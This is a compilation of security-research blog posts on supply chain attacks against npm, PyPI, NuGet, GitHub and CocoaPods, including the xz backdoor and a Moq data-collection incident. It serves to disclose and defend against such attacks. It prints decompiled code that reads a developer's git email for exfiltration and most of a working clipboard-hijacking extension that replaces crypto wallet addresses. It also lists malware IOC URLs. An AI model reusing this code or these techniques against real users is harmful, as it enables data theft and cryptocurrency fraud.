• The popular NPM package @lottiefiles/lottie-player enables developers to seamlessly integrate Lottie animations into websites and applications.
• On October 30, the community reported existence of malicious code within versions 2.0.5, 2.0.6, and 2.0.7 of the npm package.
• The package maintainers replied and confirmed the attackers were able to take over the NPM package using a leaked automation token which was used to automate publications of NPM packages.
• The malicious code displays a UI overlay, asking to connect the crypto wallets by clicking or scanning a QR. By doing so, this prevent usage of the infected website
• This is yet another reminder on how sensitive the software supply chain is

Would MFA Have Prevented This?

Multifactor authentication is designed to challenge humans. There are three authentication factors that can be used and 2FA requires two:

1. something you know (like a password)
2. something you have (like a one-time-use token)
3. something you are (a biometric identity like a fingerprint or a speech pattern)

Going back two years ago - NPM decided to enforce 2FA on all users. Great move on NPM side as we witnessed many account takeover incidents happening.

Sounds Great, Doesn’t Work (?)

While this does secure NPM account takeover attacks from the interactive login page, enforcing 2FA on all accounts comes with a side-effect:

• non-human identities can’t answer 2FA challenges.

So, when you define an NPM automation token — whoever gets your long-auto generated password is able to bypass your 2FA controls to make new version releases.

Back to @lottiefiles/lottie-player , even with 2FA configured, the threat actors somehow got the NPM automation token set in the CI/CD pipeline to automate version releases to publish the malicious versions 2.0.5, 2.0.6, and 2.0.7 of the npm package

The Malicious Code

All it does is displaying a UI overlay to steer the victim’s focus on connecting its crypto wallets to the malicious interface:

Kudus to The Package Maintainers

The compromised package maintainers quickly released an incident response report:

Incident Response for Recently Infected Lottie Web Player versions 2.05, 2.06, 2.07

Comm Date/Time: Oct 31st, 2024 04:00 AM UTC

Incident: On October 30th ~6:20 PM UTC — LottieFiles were notified that our popular open source npm package for the web player @lottiefiles/lottie-player had unauthorized new versions pushed with malicious code. This does not impact our dotlottie player and/or SaaS services. Our incident response plans were activated as a result. We apologize for this inconvenience and are committed to ensuring safety and security of our users, customers, their end-users, developers, and our employees.

Immediate Mitigation Actions

Published a new safe version (2.0.8)

Unpublished the compromised package versions from npm

Removed all access and associated tokens/services accounts of the impacted developer

Impact

Versions 2.0.5, 2.0.6, 2.0.7 were published directly to npmjs.com over the course of an hour using a compromised access token from a developer with the required privileges.

The unauthorized versions contained code that prompted for connecting to user’s crypto wallets.

A large number of users using the library via third-party CDNs without a pinned version were automatically served the compromised version as the latest release. With the publishing of the safe version, those users would have automatically received the fix.

Recommended Steps

If using 2.0.5, 2.0.6 and 2.07 versions please update to the latest version 2.0.8
SHA: sha512-PWfm8AFyrijfnvGc2pdu6avIrnC7UAjvvHqURNk0DS748/ilxRmYXGYkgdU1z/BIl3fbHCZJ89Zqjwg/9cx6NQ==

If you are unable to update the player immediately, it is recommended that you communicate to Lottie-player end-users to NOT accept any attempts to connect their crypto wallets.

Next Steps

LottieFiles continues to work through its incident response plan and has also engaged an external incident response team to help further investigate the compromise.

We have confirmed that our other open source libraries, open source code, Github repositories, and our SaaS were not affected.

If you believe you’re affected, don’t hesitate to reach out to us at priority_support@lottiefiles.com

Conclusion

Freeze your deps tightly. Don’t rush to update to the latest if it’s not a security update and it’s a new release.

Check and make sure you don’t have the malicious versions 2.0.5, 2.0.6, and 2.0.7 of lottie-player npm package.

The incident highlighted limitations of 2FA in automation environments, as automation tokens bypass these controls. This can happen to any major project.

The xz project, a tool used by many Linux distributions for compressing files, was compromised by a malicious actor who gradually took over the project and inserted a backdoor.

The attack, discovered accidently on March 29, 2024, by a developer named Andres Freund, during performance testing, was carried out over several years by the GitHub account Jia Tan (JiaT75), who gained the trust of the long-time maintainer of the xz project and eventually replaced them as the main point of contact.

The backdoor was added in versions 5.6.0 and 5.6.1 of xz Utils, a software package that includes the xz library. This backdoor allows attackers unauthorized access on systems that have the compromised versions installed.

The impact of this backdoor is significant because of xz’s use in many systems around the world, including popular Linux distributions like Red Hat and Debian.

In this blog post, we will provide a timeline of the events, look at the key people involved, and discuss what this incident means for the open-source community and the importance of maintaining the security and integrity of widely-used software libraries.

Key Findings

• xz, a widely-used compression library, was compromised with a backdoor (CVE-2024–3094) that allows for unauthorized access on systems with compromised versions (5.6.0 and 5.6.1) installed.
• The attack was carried out over several years by a user named Jia Tan (JiaT75), who gradually gained maintainer status after continuous pressure from unknown accounts on the long-time maintainer, Lasse Collin, to add a new maintainer and approve Jia Tan’s patch.
• The widespread use of xz in Linux distributions makes the impact of the backdoor significant.
• The backdoor was accidentally discovered on March 29, 2024, by the developer Andres Freund.

Gaining Reputation Over Time

The xz compression library, a widely-used tool for compressing files, found across Linux distributions, community projects, and commercial products, was compromised by a malicious actor named Jia Tan (JiaT75) who gradually and patiently gained maintainer status in order to pull off the attack, ultimately introducing a backdoor identified as CVE-2024–3094.

The attack began in 2021 when Jia Tan created their GitHub account and began using it for various activities.

In April 2022, Jia Tan submitted a patch to the xz project via a mailing list. Soon after, unknown accounts, including one named Jigar Kumar and another named Dennis Ens , began pressuring the long-time maintainer of xz, Lasse Collin, to merge the patch and add a new maintainer to the project. Lasse Collin, who had limited availability to take care for the project, eventually agreed to add Jia Tan as a maintainer. A decision that is in fact not unusual in the open-source community, where maintainers often hand off projects to others due to various reasons.

Over the next two years, Jia Tan became a regular contributor to the xz project, gaining trust within the community.

By March 2023, Jia Tan had become the primary contact for xz in Google’s oss-fuzz, a platform for finding vulnerabilities in open-source software.

Most Sophisticated Supply Chain Attack We Know

The backdoor itself was introduced in versions 5.6.0 and 5.6.1 of xz Utils, a software package that includes the xz library. The malicious code allows attackers unauthorized access by infecting the SSH on systems with the compromised versions installed, making it a significant threat to users of the library.

A Discovery

The backdoor was accidentally discovered on March 29, 2024, by Andres Freund during routine performance testing. Freund noticed unusual CPU usage in the sshd process, which led him to investigate further and uncover the malicious code. This accidental discovery, the backdoor could have gone unnoticed for a longer period, effecting a large part of the open source ecosystem.

Impact

The impact of the backdoor could have had particularly severe consequences due to the widespread use of xz in compressing critical software components, including popular Linux distributions like Red Hat and Debian. Many systems worldwide rely on xz for compressing and decompressing files, making the potential reach of the backdoor extensive.

Advanced Persistent Threat

The involvement of multiple identities. The complexity of the payload, and the high level of technical expertise required, along with the patience and persistence shown in gradually gaining trust within the xz community over several years before introducing the backdoor. All these are consistent with the capabilities of nation-state actors and are qualities of advanced persistent threats (APTs).

This incident is part of a growing and alarming trend of advanced persistent threats (APTs) targeting critical open-source projects.

Conclusion

The xz compromise highlights the urgent need for the open-source community to improve its security practices and tools to prevent similar attacks in the future. Collaboration, transparency, and shared responsibility are essential to detecting and mitigating advanced persistent threats (APTs) targeting critical open-source projects.

We, the community must develop more effective strategies, to strengthen the security of open-source software. By learning from this incident and taking proactive measures, the open-source community can build a more resilient and trustworthy ecosystem, ensuring the long-term success and integrity of open-source projects in the face of ever-evolving cybersecurity threats.

Working together to keep the opensource ecosystem safe.

Backdoor Discovered in xz: The Most Advanced Supply Chain Attack Known to Date was originally published in Checkmarx Zero on Medium, where people are continuing the conversation by highlighting and responding to this story.

When ‘Everything’ Goes Wrong: NPM Dependency-Hell Campaign — 2024 Edition

Happy New Year! What a way to open 2024! NPM user account gdi2290 aka PatrickJS published a troll campaign to the NPM registry by uploading a package named “everything” that relies on every other public NPM package, resulting in millions of transitive dependencies.

This leads to a Denial of Service (DOS) for those who install “everything,” causing issues such as storage space exhaustion and disruptions in build pipelines.

The creators of the “everything” package have published over 3000 sub-packages. These sub-packages are designed to split the dependencies into chunks and comprehensively depend on all publicly available NPM registry packages.

The creators have also registered the domain https://everything.npm.lol/. On this website, they showcase the ensuing chaos and incorporate a famous meme from The Elder Scrolls V: Skyrim, adding an extra layer of humor or mockery to the situation.

Not the first time this has happened.

A year ago, we encountered an intriguing situation with the package “no-one-left-behind” by Zalastax. This unique package depended on every publicly available npm package, creating an intricate web of dependencies. Despite being removed by the npm security team, a new development emerged on Jan 28th, 2023. Over 33,000 packages under the scope “infinitebrahmanuniverse,” prefixed with “nolb-,” surfaced as sub-packages of “no-one-left-behind.”

The downsides of those trolls

Imagine you did an experiment, published a package to NPM and now you want to remove your NPM package. You can’t do it if other packages are using it. The problem is, since “everything” relies on every package, including yours, your package gets stuck, and there’s some unknown package preventing you from removing it.

An attempt to delete the packages

It doesn’t seem PatrickJS realized the headache his troll would cause to some users. Two days after the prank packages were published, he created an issue and shared that he is unable to delete the packages since the NPM mechanism prevents deletion of published packages once they are being used by other projects and calls for help from NPM support team.

Summary

This act of digital mischief by PatrickJS echoes past incidents, highlighting ongoing challenges in package management and the cascading effects of dependencies within the NPM ecosystem. The situation underlines the comedic yet serious consequences of such pranks in the developer community.

When ‘Everything’ Goes Wrong: NPM Dependency-Hell Campaign — 2024 Edition was originally published in Checkmarx Zero on Medium, where people are continuing the conversation by highlighting and responding to this story.

• In July 2023, we detected suspicious commits in hundreds of GitHub repositories, appearing as if contributed by Dependabot but carrying malicious code.
• These commit messages were fabricated by threat actors to disguise their malicious activity.
• Upon investigation, we confirmed that the attackers stole victims’ GitHub personal access tokens to make these malicious contributions.
• The malicious code exfiltrates secrets to a C2 server and injects web-form password-stealing malware into JavaScript files, affecting end-users.
• Private GitHub organization repositories were also impacted due to compromised tokens.
• The method of token theft remains unclear, possibly linked to a malicious open-source package.
• This blog will provide details on the malicious payload and highlight the current challenge of detecting such token-based attacks on GitHub.

About Dependabot

Dependabot is GitHub’s free automated dependency management tool for software projects. It continuously monitors a project’s dependencies (like libraries and packages) for security vulnerabilities and outdated versions. When it detects issues, it automatically generates pull requests with updates, helping developers keep their software secure and up to date.

The Fake Dependabot Commits

Between July 8–11, a threat actor started compromising hundreds of GitHub repositories, both public and private. Most victims are Indonesian user accounts. The attackers used a technique to fake commit messages (read more about how it’s done here) to trick developers into thinking this was contributed by the real dependabot and to ignore this activity.

The attackers created a commit message “fix” which appears to be contributed by the official user account dependabot[bot]

Malicious Code

In the various repositories we analyzed (the full list remains internal but it was hundreds of repositories) we saw two groups of repeated code changes, most likely done with an automated script.

A New GitHub Action to Steal Secrets

A new GitHub Action file named “hook.yml” was added as a new workflow file, triggers a code push event. It sends GitHub secrets and variables to URL hxxps://send[.]wagateway.pro/webhook. This action is triggered on every push event.

Patching *.js Files to Steal Passwords

In addition to the added GitHub Action, the attackers modified every existing project file having the “*.js“ extension and appended an obfuscated line at the end of the file.

This new line is designed to create a new script tag as the code is executed on a browser environment and loads an additional script from this URL: hxxps://send[.]wagateway.pro/client.js?cache=ignore.

The code loaded from hxxps://send[.]wagateway.pro/client.js?cache=ignore is attempting to intercept any web-based password form and send the user-credentials to the same exfiltration endpoint as before; URL hxxps://send[.]wagateway.pro/webhook

How Was It Done?

At first, it was unclear to us how the attackers got access to those accounts, especially earlier this year when GitHub raised the bar for mandatory 2FA.

To get a better understanding of how this happened, we approached some of the victims by sending an email notifying them of the breach and asking for help understanding the full picture.

Luckily, some victims agreed to share information with us, and surprisingly when inspecting the accounts activity we realized that the attackers accessed the accounts using compromised PATs (Personal Access Token) — most likely exfiltrated silently from the victim’s development environment.

Step 1 — Workspace Initialization

The victim must set up their development environment with a personal access token (or SSH/GPG key) identifying their account whenever they make git operations. This token is stored locally on the developer’s machine and can be extracted easily.

Such access tokens do not require 2FA and can be used to access the account by any computer with internet access.

Step 2 — Stealing the Developer’s Credentials

We can only guess how the attackers got the developers credentials but seeing many cases of malicious packages aiming to perform that task suggest that it is one potential way that the attackers could have gotten their hands on those precious GitHub tokens.

We believe the most likely scenario is that the victims were infected with such a malicious package, which exfiltrated the token to the attacker’s C2 server.

Step 3 — Poisoning the Victim’s Code Projects

In this step the attackers used the stolen victim’s personal access tokens to authenticate to GitHub and make the malicious code changes described above.

Analysis of the scale of the attack reveals that it appears to be automated.

Conclusion

This whole situation teaches us to be careful about where we get our code, even from trusted places like GitHub. It shows that even big platforms can have problems, so we need to always watch out and protect ourselves online.

This is the first incident we witnessed a threat actor using fake git commits to disguise activity, knowing that many developers do not check the actual changes of dependabot when they see it.

To make things safer, consider switching to GitHub’s fine-grained personal access tokens . These tokens allow you to reduce the risk of compromised tokens. So, if someone bad gets one of these keys, they can’t do a lot of damage.

Sadly, the GitHub personal access token’s access log activity is only visible for enterprise accounts. If your token got compromised, you can’t know for sure because this information is not visible for non-enterprise users in the audit log section.

The attacker’s Tactics, Techniques, and Procedures (TTPs) involve the use of fake commits, stealing user credentials, and impersonating Dependabot to avoid detection show us supply chain attacks are getting more sophisticated as attackers realize it doesn’t take much to move silently

IOCs:

wagateway[.]pro
hxxps://send[.]wagateway[.]pro/webhook
hxxps://send[.]wagateway[.]pro/client.js

Timeline

• During 2023 - The threat actors attacked multiple victims and harvested personal access tokens (we don’t know how it was done and guessing malicious packages were involved)
• 2023–07–08 - The attackers used the stolen GitHub tokens in an automated attack, poisoning multiple repositories.
• 2023–07–24 - We first noticed this anomaly and began investigating.
• 2023–07–24 - Contacted the GitHub accounts infected by this attack + reported to GitHub.
• 2023–09–20 - We met with one of the victims, and reviewed his access logs which helped us understand the attack flow.

Surprise: When Dependabot Contributes Malicious Code was originally published in Checkmarx Zero on Medium, where people are continuing the conversation by highlighting and responding to this story.

The highly popular NuGet package Moq with total downloads of 475M+, released on August 8th new versions 4.20.0-rc, 4.20.0 and 4.20.1with a new sub-dependency that hiddenly executes code reading the user’s local git config, extracting the developer’s email address, hashing it, and sending it to a cloud service.

This incident was reported yesterday by Reddit user u/DinglDanglBob and also reported on the project’s GitHub page as an issue.

About Moq

Moq is a highly popular open-source project to provide a mocking library for .NET applications. From the project’s GitHub page:

Moq (pronounced “Mock-you” or just “Mock”) is the only mocking library for .NET developed from scratch to take full advantage of .NET Linq expression trees and lambda expressions, which makes it the most productive, type-safe and refactoring-friendly mocking library available. And it supports mocking interfaces as well as classes. Its API is extremely simple and straightforward, and doesn’t require any prior knowledge or experience with mocking concepts.

Moq’s New Sub-Dependency - “SponsorLink”

Since version 4.20.0 of Moq, Devlooped.SponsorLink NuGet package has been added as a new dependency.

As it turned out, Devlooped.SponsorLink is a closed-source project, provided as a compiled dll with obfuscated code, which scans the git config and sends the hashed email of the current developer to a cloud service. This code is executed during the application build and if you are depends on Moq there is no option to disable this.

Obfuscated Code

User account d0pare commented and found that the library spawns an external git process to get the developer’s email from the command git config --get user.email , then does some hashing and sends the result to hxxps://cdn.devlooped[.]com/sponsorlink.

private static string \u00a0(string P_0) {
  try {
    Process process = Process.Start(new ProcessStartInfo(
      // this is obfuscated value of "git"
      6FA47342-3716-4274-AF01-7A37793E0E97.\u206f(), 

      // this is obfuscated value of "config --get user.email"
      6FA47342-3716-4274-AF01-7A37793E0E97.\u3000()
    ) {
        RedirectStandardOutput = true,
        UseShellExecute = false,
        CreateNoWindow = true,
        WorkingDirectory = P_0
    });
    process.WaitForExit();
    if (process.ExitCode != 0) {
      return null;
    }
    return process.StandardOutput.ReadToEnd().Trim();
  } catch {}
  return null;
}

He later discovered that the library also loads settings from the URL hxxps://cdn.devlooped[.]com/sponsorlink/settings.ini and is evasive in case one of the following environment variable exists

CI
TF_BUILD
TRAVIS
BUDDY
TEAMCITY_VERSION
APPVEYOR
JENKINS_URL

Users Looking For Alternatives

And I don’t blame them. Many users seem concerned about GDPR compliance as their products are built using Moq. This user commented that he won't be able to use this package any more:

This is a serious GDPR breach, and we won’t be able to continue using this lib.
Also, having an obfuscated package included means that we can’t (easily) know what is happening. It could harvest any other information from a developer’s machine without any user consent.

Another user, SefaOray also commented:

We are removing moq immediately due to this.

and many more similar comments in this GitHub thread..

The Maintainer’s Response

GitHub user account kzu, the author behind this, commented that it was simply part of testing, and he wonder “why so much anger over sponsoring which can be done with as little as $1”

After posting this message, kzu probably panicked and decided to revert and unpublish versions 4.20.0 and 4.20.1 while quickly publishing 4.20.2 without the new dependency in Devlooped.SponsorLink NuGet package.

Summary

Yesterday the owner of the popular NuGet package Moq incorporated a new sub-dependency, which exfiltrates the user info without his consent to hxxps://cdn.devlooped[.]com — a domain owned by the author of the Moq.

This sparked a debate on Reddit and GitHub, leaving many concerned users accusing this action of GDPR violations and statements regarding the legitimacy of his action.

Many organizations that built software using those releases are exposed to GDPR compliance.

In my opinion, the author did not intend to cause any harm but ended up damaging the trust of his users. This could have been prevented if it had been open for discussion prior to publishing the new changes and accepting the content of his users.

We must understand that it's our responsibility when we use open source. This is why we need to support open-source maintainers in order to have a healthy open-source ecosystem.

Timeline

2023–01–23: Devlooped.SponsorLink first release to NuGet
2023–01–24: Author published a blogpost suggesting a new solution to open source sustainability using the SponsorLink service
2023–08–08: Moq released new versions 4.20.0-rc, 4.20.0 and 4.20.1 with Devlooped.SponsorLink as a dependency
2023–08–09: Moq released version 4.20.2 removing the Devlooped.SponsorLink dependency

IOC

hxxps://cdn.devlooped[.]com/sponsorlink

Packages

List of NuGet Packages depends on Devlooped.SponsorLink

devlooped.cloudstorageaccount.source
devlooped.tablestorage
devlooped.cloudstorageaccount
devlooped.sponsorlink
isbn
gitinfo
thisassembly.assemblyinfo
thisassembly.constants
thisassembly.project
thisassembly.git
thisassembly.strings
thisassembly.metadata
thisassembly.resources
nugetizer
devlooped.credentialmanager
websocketeer
websocketchannel
devlooped.web
packagereferencecleaner
mvp.xml
devlooped.dynamically
thisassembly

Popular NuGet Package “Moq” Silently Exfiltrates User Data to Cloud Service was originally published in Checkmarx Zero on Medium, where people are continuing the conversation by highlighting and responding to this story.

• Malicious campaigns targeting open-source ecosystems are causing a flood of spam, SEO poisoning, and malware infection.
• The threat actors create malicious websites and publish empty packages with links to those malicious websites, taking advantage of open-source ecosystems’ good reputation on search engines.
• The attacks caused a Denial of Service (DoS) that made NPM unstable with sporadic “Service Unavailable” errors.
• The campaigns included a malware infection campaign, a referral scam campaign linked to AliExpress, and a crypto scam campaign targeting Russian users on Telegram.
• Various IOCs were identified, including domain names, IP addresses, and URLs.

We’ve seen spam campaigns in the open-source ecosystems in the past year, but this month was by far the worst one we’ve seen yet.

Apparently, attackers found the unvetted open-source ecosystems as an easy target to perform SEO poisoning for various malicious campaigns. As long as the name is untaken, they can publish an unlimited number of packages.

Typically, the number of package versions released on NPM is approximately 800,000. However, in the previous month, the figure exceeded 1.4 million due to the high volume of spam campaigns.

SEO Poisoning

In this attack method, cybercriminals create malicious websites and publish empty packages with links to those malicious websites. Since the open source ecosystems are highly reputed on search engines, any new open-source packages and their descriptions inherit this good reputation and become well-indexed on search engines, making them more visible to unsuspecting users.

Denial of Service

The unstoppable load created by those automated scripts made NPM unstable with sporadic “Service Unavailable” errors. I can witness in the past week it happened to me and my colleagues many times.

“Service Unavailable” errors reported globally by frustrated users.

Spam Campaigns

We mapped several campaigns, and we believe they are all likely operated by the same threat actor, although we can’t confirm that at this time. It’s possible that there are several threat actors, each operating a campaign individually.

The concept is simple. Each package contains nothing but a readme file. This readme file is displayed on the package’s page and contains a unique, short link to another website with the context of the original npm package.

Malware Infection Campaign

This campaign’s goal is to infect the victim with a malicious .exe file. The bait is tempting illegal warez description. Most likely the victims are going to search and land on those npm pages.

Upon clicking on the short link, there is a custom website that appears to be legitimate but is hosted on the threat actor’s infrastructure, offering a download of the warez software.

This downloads a password-encrypted zip file which when extracted, creates a zero-padded .exe file size of ~600MB. This technique is used to avoid detection by EDRs.

We reduced the file size using the “dd” command to ~10mb.

dd if=Install.exe of=Install-trim.exe bs=1024 count=10240

We then analyzed the malware in AnyRun where we observed a variety of tactics employed by the threat actors. These tactics include DLL side-loading, virtualization/sandbox evasion, disable tools and firewalls, drop of tools such as Glupteba, RedLine, Smoke Loader, xmrig and more to steal credentials and to mine cryptocurrency.

AliExpress Referral Scam Campaign

As we covered it in this report, the attackers linked to retail websites such as AliExpress using referral IDs created by them, thus profiting from the referral rewards.

Crypto Scam Campaign

In this case, the attackers invited Russian users to join a Telegram channel specialize in crypto. There are all kind of keywords.

Summary

The scale of this campaign is significant. The load caused NPM to become unstable with sporadic “Service Unavailable” errors.

The battle against threat actors poisoning our software supply chain ecosystem continues to be challenging, as attackers constantly adapt and surprise the industry with new and unexpected techniques.

IMHO NPM should apply anti-bot techniques specifically in the flow of user creation. That might help prevent such automated campaigns.

If you would like access to the original metadata or samples from this phishing campaign, please feel free to send an email to supplychainsecurity@checkmarx.com. Our team will be happy to provide you with the information you need.

IOC

beelowers[.]com
api2[.]check-data.xyz
aapu[.]at
sun6–20[.]userapi.com
sun6–22[.]userapi.com
iplis[.]ru
potunulit[.]org
server13[.]cdneurops.pics
bebekmanti[.]com
hxxp://208.67.104.60/api/tracemap.php
hxxp://208.67.104.60/api/firegate.php
hxxp://45.12.253.74/pineapple.php?pub=mixinte
hxxp://163.123.143.4/download/Service_.vmp
hxxp://194.110.203.101/puta/brazilx86.exe
hxxp://163.123.143.4/download/Service.vmp
hxxp://193.233.20.35/gallery/photo_007.exe
hxxp://hugersi.com/dl/6523.exe
hxxp://ji.ghwiwwff.com/m/oskg25
hxxp://94.142.138.113/api/tracemap.php
hxxp://163.123.143.4/download/WWW14.bmp
hxxp://94.142.138.131/api/tracemap.php
hxxp://94.142.138.113/api/firecom.php
hxxp://94.142.138.131/api/firegate.php
hxxp://230320051222585.btl.jbc75.shop/f/fsbm0320.exe
hxxp://15.204.49.142/files/123.exe
hxxp://potunulit.org/
hxxp://193.233.20.29/games/category/index.php
hxxp://45.12.253.72/default/puk.php
hxxp://193.233.20.29/games/category/Plugins/cred.dll
hxxp://45.12.253.75/dll.php
hxxp://65.109.226.91/0ab626f8f67208ad.php
hxxp://aapu.at/tmp/
hxxp://193.233.20.29/games/category/Plugins/clip.dll
hxxp://45.12.253.72/default/stuk.php
hxxp://45.12.253.56/advertisting/plus.php?s=NOSUB&str=mixtwo&substr=mixinte

Who Broke NPM?: Malicious Packages Flood Leading to Denial of Service was originally published in Checkmarx Zero on Medium, where people are continuing the conversation by highlighting and responding to this story.

A sudden surge of thousands of malicious packages was uploaded to the NPM open-source ecosystem from multiple user accounts the last weekend.

Further investigation uncovered a recurring attack method in which cyber attackers utilize spamming techniques to flood the open-source ecosystem with packages that include links to phishing campaigns in their README.md files.

The packages were created using automated processes, with project descriptions and auto-generated names closely resembling one another.

The Attackers referred to retail websites using referral IDs, thus profiting from the referral rewards they earned.

Automated Script

The attackers utilized automated processes to publish over 50,000 packages in NPM and created over 1500 user accounts within a few days. These packages’ descriptions promote links to download an offline e-book file shortened using the URL shortening service tinybit.cc.

The link provided by tinybit.cc redirects users to a counterfeit website hosted under the domain pdflivres[.]com. The site displays details about the supposed e-book file and suggests that a copy is available for download. However, upon clicking the download button, users are redirected to various other phishing websites.

Yiddish Captcha

After clicking on the verification links to download the e-book file, I was referred to another website that challenged me to answer a captcha. The creators of this website used the Yiddish language (a language spoken by Ashkenazi Jews, originating in Central and Eastern Europe)

More Redirects

After answering the captcha challenge, I was referred to yet another website. The barrage of redirects didn’t stop there, as I was taken to another website that bombarded me with a flurry of invasive questions and obnoxious advertisements. It seemed as though every click I made was met with another pop-up or redirect, each one more insistent and aggravating than the last. Despite my attempts to close out of the pages and escape the onslaught, the phishers had ensnared me in a web of convoluted redirections that seemed designed to keep me engaged as long as possible.

Referrals Rewards

Eventually, these phishing sites redirect users to eCommerce sites that include referral IDs. In this scheme, when a victim purchases a site like AliExpress after being referred by the threat actor, the threat actor’s account earns a referral reward such as a coupon or store credit. This emphasizes the financial incentive that drives threat actors to engage in phishing campaigns like this.

Conclusion

Last month we saw a similar attack we suspect was made by the same threat actor (https://medium.com/checkmarx-security/how-npm-packages-were-used-to-spread-phishing-links-3d094afcced3)

The scale of this phishing campaign is significant. The battle against threat actors poisoning our software supply chain ecosystem continues to be challenging, as attackers constantly adapt and surprise the industry with new and unexpected techniques.

By working together, we can stay one step ahead of attackers and keep the ecosystem safe. We believe this kind of collaboration is crucial in the fight against software supply chain attacks, and we will continue working together to help protect the open-source ecosystem.

If you would like access to the original metadata or samples from this phishing campaign, please feel free to send an email to supplychainsecurity@checkmarx.com. Our team will be happy to provide you with the information you need.

Massive Malicious Attack on NPM: 50k Packages Flooded with Phishing Links was originally published in Checkmarx Zero on Medium, where people are continuing the conversation by highlighting and responding to this story.

CocoaPods is THE dependency manager for iOS and Mac projects. It helps software developers easily add pre-made pieces of code (called “libraries” or “dependencies”) to their iOS or Mac projects.

These libraries of code can help developers add extra features or functionality to their apps without having to write all of the code themselves. Think of it like adding pre-made Lego pieces to a Lego creation to make it better or more interesting.

Subdomain Hijacking

Subdomain hijacking is a type of cyber-attack where an attacker takes control of a subdomain of a legitimate domain and uses it to host their malicious content or to launch further attacks.

In a subdomain hijacking attack, the attacker can find forgotten settings on free hosting websites such as GitHub Pages which are not mapped anymore and the weak validation grant attackers permission to use those subdomains.

CocoaPods Casino

Guy Nachshon, a brilliant security researcher in my team, found out the subdomain cdn2.cocoapods.org was used years ago and abandoned, but the DNS records still point to GitHub Pages hosting service, and attackers hijacked it to host a fishy casino website.

While we are investigating this, the subdomain got freed on GitHub Pages (probably due to an update/mistake of the attackers)

We jumped on the opportunity and created a simple repository to hold this subdomain and prevent another takeover by those casino attackers.

This works as long as the subdomain is unoccupied by another GitHub Pages project and is super simple to set up — settings, enable GitHub Pages, type the subdomain “cdn2.cocoapods.org”:

Watch this short demo video to see it in action:

Impact

Generally speaking, the impact of hijacking a subdomain of a known website can trick users into thinking the content they are seeing is legitimate and created by the known brand.

Furthermore, organizations usually allow network traffic to such dev-related legitimate resources from sensitive networks to support the engineering process.

We’ve seen last year's cases in which attackers hosted malicious exe file on GitHub and another example where an image hosted on imgur.com contained malicious python code. Hence, it’s quite clear why attackers what’s the potential to hijack a subdomain of a popular and legitimate brand.

Conclusion

I disclosed the findings to CocoaPods in this GitHub issue, and huge respect for the fast response and removing the subdomain record.

It’s ridiculous how easy it is to takeover an abandoned subdomain. This made me wonder — should this be that easy? Should GitHub enforce 2-way validation when linking domain to GitHub Pages project? Like, validating the exact repository URL? IMHO — yes.

See this case as a warning if you have created subdomain records for side-projects that over time became obsolete like cdn2.cocoapods.org. I suggest removing them as someone might hijack your subdomain.

This is How I Hijacked CocoaPods Subdomain Using GitHub Pages was originally published in Checkmarx Zero on Medium, where people are continuing the conversation by highlighting and responding to this story.

Starting Feb 9 2023, an attacker published a total of 444 malicious packages via 22 different PyPi user accounts. The malicious packages infect the victim’s web browser with a hidden extension that manipulates the clipboard and changes the value of a copied crypto wallet address to match the attacker’s crypto wallet address.

Update 12/2/2023: The attack continues - 900 packages so far
Since the original publication of this blog, 456 additional packages containing the same code were found. All were published on 11/2/2023 using 17 additional PyPi user accounts. This brings the subtotal of packages found in the incident thus far to 900 from 39 different user accounts. PyPi quickly removed all new packages.

Stay tuned, as this attack may still be in progress, and it’s possible that new packages will be published in the upcoming days.

An updated package list.

Attack Technique

For those who are unfamiliar with it, Typosquatting is a malicious technique used by attackers to trick victims into downloading and installing what appears to be a legitimate open-source package but is actually a disguised version of the malicious packages containing harmful code.

In this incident, the attacker published packages that closely resemble the names of the following (highly popular) packages:

• aiohttp
• python-binance
• torch
• pygame
• pandas
• scikit-learn
• tensorflow
• pyinstaller
• scrapy
• matplotlib
• selenium
• beautifulsoup4
• colorama
• websockets
• yfinance
• solana
• bitcoinlib
• vyper
• cryptocompare
• cryptofeed
• freqtrade
• ccxt

Update 12/2/2023:

• websocket-client
• click
• pillow
• openpyxl
• xlsxwriter
• simplejson
• requests-toolbelt
• discord.py
• discord-webhook
• psutil
• PySocks
• progressbar2
• prompt-toolkit
• pycodestyle
• gitpython
• BeautifulSoup
• tkcalendar

As humans make typing mistakes, someone probably will mistype the name and will end up installing the attacker’s code.

Analyzing the Malicious Packages

All 444 packages share the same payload. The malicious code is executed upon installation and its obfuscated with variable names in Chinese (e.g. 馬女水女口目人馬鳥月水馬山山馬鸟)

After deobfuscating and debugging the malicious code, I saw the attacker was deploying a browser extension embedded in the code into the path %APPDATA%\Extension

To activate the extension as it is unlisted in the official marketplaces, the code modifies shortcuts to launch browsers placed in the following paths:

• C:\ProgramData\Microsoft\Windows\Start Menu
• %APPDATA%\Microsoft\Windows\Start Menu
• %APPDATA%\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar

Those shortcuts are modified to include the argument — load-extension=%APPDATA%\Extension to this closed list of web browsers’ .exe files:

• chrome.exe (Google Chrome)
• msedge.exe (Microsoft Edge)
• launcher.exe (Opera Internet Browser)
• brave.exe (Brave Browser)

Malicious Browser Extension

The browser extension is comprised of two files: manifest.json, which requests permission to access the clipboard, andbackground.js contain multiple regular expressions to replace copied Crypto wallet addresses with hard-coded wallet addresses owned by the attacker:

let page = chrome.extension.getBackgroundPage();

var inputElement = document.createElement('input');
document.body.appendChild(inputElement);
inputElement.focus();

function checkWalletAddresses() {
    document.execCommand('paste');
    var clipboardContent = inputElement.value;
    clipboardContent = clipboardContent.replace(/^(0x)[A-Fa-f0-9]{40}$/g, '0x6eb2103839011Ed56c98145b3d3f9d6BE1b4dA63');
    clipboardContent = clipboardContent.replace(/^T[A-Za-z1-9]{33}$/g, 'TK3dtT7vYLkhUyzLqbQMmsrM36QzFnmfaa');
    clipboardContent = clipboardContent.replace(/^(bnb1)[0-9a-z]{38}$/g, 'bnb1pncs5ct0rdh3rcdms8708x9jrdy038ml33ceuw');
    clipboardContent = clipboardContent.replace(/^([13]{1}[a-km-zA-HJ-NP-Z1-9]{26,33}|bc1[a-z0-9]{39,59})$/g, 'bc1qkjm7r677a4fkxcmx9kzlk55a9eaqtztq8zwrc2');
    clipboardContent = clipboardContent.replace(/^[LM3][a-km-zA-HJ-NP-Z1-9]{26,33}$/g, 'LcVct9KwHwUKftDNjbBxUtjK9WeUkYbRN3');
    clipboardContent = clipboardContent.replace(/^r[0-9a-zA-Z]{24,34}$/g, 'rJd2pxs7TxE77W8X3Ezt2QyrhMJixMehPx');
